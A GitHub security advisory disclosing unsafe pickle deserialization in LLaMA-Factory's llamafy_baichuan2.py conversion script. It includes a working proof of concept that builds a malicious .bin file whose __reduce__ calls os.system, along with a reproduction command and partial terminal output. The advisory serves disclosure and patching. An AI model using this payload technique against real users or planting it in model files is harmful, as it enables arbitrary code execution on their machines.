GitHub Security Advisory: GHSA-f2f7-gj54-6vpv
Package: llamafactory (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 0.9.2
Patched in: 0.9.3

Summary: LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py

Details:
### Description

A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.

### Attack Vector

This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:

1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.

No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. 

### Impact

- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments


### Proof of Concept (PoC)

```python
# malicious_payload.py
import torch, pickle, os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))  # Arbitrary command

malicious_data = {
    "v_head.summary.weight": MaliciousPayload(),
    "v_head.summary.bias": torch.randn(10)
}

with open("value_head.bin", "wb") as f:
    pickle.dump(malicious_data, f)
```

An example of `config.json`:

```json
{
  "model": "value_head.bin",
  "hidden_size": 4096,
  "num_attention_heads": 32,
  "num_hidden_layers": 24,
  "initializer_range": 0.02,
  "intermediate_size": 11008,
  "max_position_embeddings": 4096,
  "kv_channels": 128,
  "layer_norm_epsilon": 1e-5,
  "tie_word_embeddings": false,
  "vocab_size": 151936
}
```

```bash
(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
    |-- LICENSE
    |-- README.md
    |-- malicious_folder
    |   |-- config.json
    |   `-- value_head.bin
    `-- xxxxx(Irrelevant documents omitted)
```


```bash
# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
```

➡️ Running this will execute the malicious payload and create a `HACKED!` folder.

```bash
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:[PII_REDACTED].451398    1